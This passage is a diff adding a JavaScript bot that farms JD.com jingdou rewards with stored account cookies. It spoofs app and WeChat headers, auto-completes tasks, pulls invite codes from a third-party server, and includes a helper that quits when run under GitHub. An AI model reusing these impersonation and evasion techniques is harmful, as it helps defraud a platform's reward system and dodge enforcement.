body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + if (data['data'] && data['data']['floorInfoList']) { + const floorInfo = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === "SWAT_RED_PACKET_ACT_INFO")[0]; + if (floorInfo.hasOwnProperty('token') && floorInfo['floorData'].hasOwnProperty('userActivityInfo')) { + $.token = floorInfo['token']; + const { activityExistFlag, redPacketOpenFlag, redPacketRewardTakeFlag, beanAmountTakeMinLimit, currActivityBeanAmount } = floorInfo['floorData']['userActivityInfo']; + if (activityExistFlag) { + if (!redPacketOpenFlag) { + console.log(`【做任务 天天领京豆】 活动未开启,现在去开启此活动\n`) + await openRedPacket($.token); + } else { + if (currActivityBeanAmount < beanAmountTakeMinLimit) $.vvipFlag = true; + if (redPacketRewardTakeFlag) { + console.log(`【做任务 天天领京豆】 ${beanAmountTakeMinLimit}京豆已领取`); + } else { + if (currActivityBeanAmount >= beanAmountTakeMinLimit) { + //领取200京豆 + console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) + console.log(`【做任务 天天领京豆】 当前已到领取京豆条件。开始领取京豆\n`); + await pg_interact_interface_invoke($.token); + } else { + console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`) + console.log(`【做任务 天天领京豆】 当前未达到领取京豆条件。开始做任务\n`); + await pg_channel_page_data(); + } + } + } + } else { + console.log(`【做任务 天天领京豆】 活动已下线`) + } + } + } + } else { + console.log(`pg_channel_page_data: ${data.message}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//抽奖 +function vvipscdp_raffle_auto_send_bean() { + const body = {"channelCode": "swat_system_id"} + const options = { + url: `${JD_API_HOST}api?functionId=vvipscdp_raffle_auto_send_bean&body=${escape(JSON.stringify(body))}&appid=lottery_drew&t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://lottery.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + if (data.data && data.data['sendBeanAmount']) { + console.log(`【做任务 天天领京豆】 送成功:获得${data.data['sendBeanAmount']}京豆`) + $.rewardBeanNum += data.data['sendBeanAmount']; + } + } else { + console.log("【做任务 天天领京豆】 送京异常:" + data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function vviptask_receive_list() { + $.taskData = []; + const body = {"channel":"SWAT_RED_PACKET","systemId":"19","withAutoAward":1} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_receive_list&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.taskData = data['data'].filter(vo => !!vo && vo['taskDataStatus'] !== 3); + for (let item of $.taskData) { + console.log(`\n领取 ${item['title']} 任务`) + await vviptask_receive_getone(item['id']); + await $.wait(1000); + console.log(`去完成 ${item['title']} 任务`) + await vviptask_reach_task(item['id']); + console.log(`领取 ${item['title']} 任务奖励\n`) + await vviptask_reward_receive(item['id']); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取任务 +function vviptask_receive_getone(ids) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",ids} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_receive_getone&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做任务 +function vviptask_reach_task(taskIdEncrypted) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",taskIdEncrypted} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_reach_task&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(`做任务任务:${data}`) + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['success']) { + // $.taskData = data['data']; + // for (let item of $.taskData) { + // + // } + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取做完任务后的奖励 +function vviptask_reward_receive(idEncKey) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",idEncKey} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_reward_receive&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(`做任务任务:${data}`) + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['success']) { + // $.taskData = data['data']; + // for (let item of $.taskData) { + // + // } + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取200京豆 +function pg_interact_interface_invoke(floorToken) { + const body = {floorToken, "dataSourceCode": "takeReward", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【做任务 天天领京豆】${data['data']['rewardBeanAmount']}京豆领取成功`); + $.rewardBeanNum += data['data']['rewardBeanAmount']; + message += `${message ? '\n' : ''}【做任务 天天领京豆】${$.rewardBeanNum}京豆`; + } else { + console.log(`【做任务 天天领京豆】${data.message}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function openRedPacket(floorToken) { + const body = {floorToken, "dataSourceCode": "openRedPacket", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`活动开启成功,初始:${data.data && data.data['activityBeanInitAmount']}京豆`) + $.vvipFlag = true; + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//================赚京豆-加速领京豆===========END======== +//================赚京豆开团=========== +async function distributeBeanActivity() { + try { + $.tuan = '' + $.hasOpen = false; + $.assistStatus = 0; + await getUserTuanInfo() + if (!$.tuan && ($.assistStatus === 3 || $.assistStatus === 2 || $.assistStatus === 0) && $.canStartNewAssist) { + console.log(`准备再次开团`) + await openTuan() + if ($.hasOpen) await getUserTuanInfo() + } + if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) { + $.tuanList.push($.tuan); + // const code = Object.assign($.tuan, {"time": Date.now()}); + // $.http.post({ + // url: `http://go.chiang.fun/autocommit`, + // headers: { "Content-Type": "application/json" }, + // body: JSON.stringify({ "act": "zuan", code }), + // timeout: 30000 + // }).then((resp) => { + // if (resp.statusCode === 200) { + // try { + // let { body } = resp; + // body = JSON.parse(body); + // if (body['code'] === 200) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的【赚京豆-瓜分京豆】好友互助码提交成功\n`) + // } else { + // console.log(`【赚京豆-瓜分京豆】邀请码提交失败:${JSON.stringify(body)}\n`) + // } + // } catch (e) { + // console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`) + // } + // } + // }).catch((e) => console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`)); + } + } catch (e) { + $.logErr(e); + } +} +function helpFriendTuan(body) { + return new Promise(resolve => { + const data = { + "activityIdEncrypted": body['activityIdEncrypted'], + "assistStartRecordId": body['assistStartRecordId'], + "channel": body['channel'], + } + delete body['time']; + $.get(taskTuanUrl("vvipclub_distributeBean_assist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log('助力结果:助力成功\n') + } else { + if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n') + else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n') + else if (data.resultCode === '2400205') console.log('助力结果:团已满\n') + else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false} + else if (data.resultCode === '9000000') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false} + else {console.log(`助力结果:未知错误\n${JSON.stringify(data)}\n\n`);$.canHelp = false} + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUserTuanInfo() { + let body = {"paramData": {"channel": "FISSION_BEAN"}} + return new Promise(resolve => { + $.get(taskTuanUrl("distributeBeanActivityInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`\n\n当前【赚京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`) + console.log(`assistStatus ${data.data.assistStatus}`) + if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) { + console.log(`已开团(未达上限),但团成员人未满\n\n`) + } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) { + console.log(`已开团(未达上限),团成员人已满\n\n`) + } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) { + console.log(`今日开团已达上限,且当前团成员人已满\n\n`) + } + if (data.data && !data.data.canStartNewAssist) { + $.tuan = { + "activityIdEncrypted": data.data.id, + "assistStartRecordId": data.data.assistStartRecordId, + "assistedPinEncrypted": data.data.encPin, + "channel": "FISSION_BEAN" + } + } + $.tuanActId = data.data.id; + $.assistNum = data['data']['assistNum'] || 4; + $.assistStatus = data['data']['assistStatus']; + $.canStartNewAssist = data['data']['canStartNewAssist']; + } else { + $.tuan = true;//活动火爆 + console.log(`赚京豆(微信小程序)-瓜分京豆】获取【活动信息失败 ${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function openTuan() { + let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} + return new Promise(resolve => { + $.get(taskTuanUrl("vvipclub_distributeBean_startAssist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【赚京豆(微信小程序)-瓜分京豆】开团成功`) + $.hasOpen = true + } else { + console.log(`\n开团失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${Date.now()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getRandomCode() { + await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => { + if (resp.statusCode === 200) { + try { + let { body } = resp; + body = JSON.parse(body); + if (body && body['code'] === 200) { + console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码成功\n`); + $.body = body['data']; + $.body1 = []; + $.body.map(item => { + $.body1.push(JSON.parse(item)); + }) + } + } catch (e) { + console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`); + } + } + }).catch((e) => console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`)); +} +//======================赚京豆开团===========END===== +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let 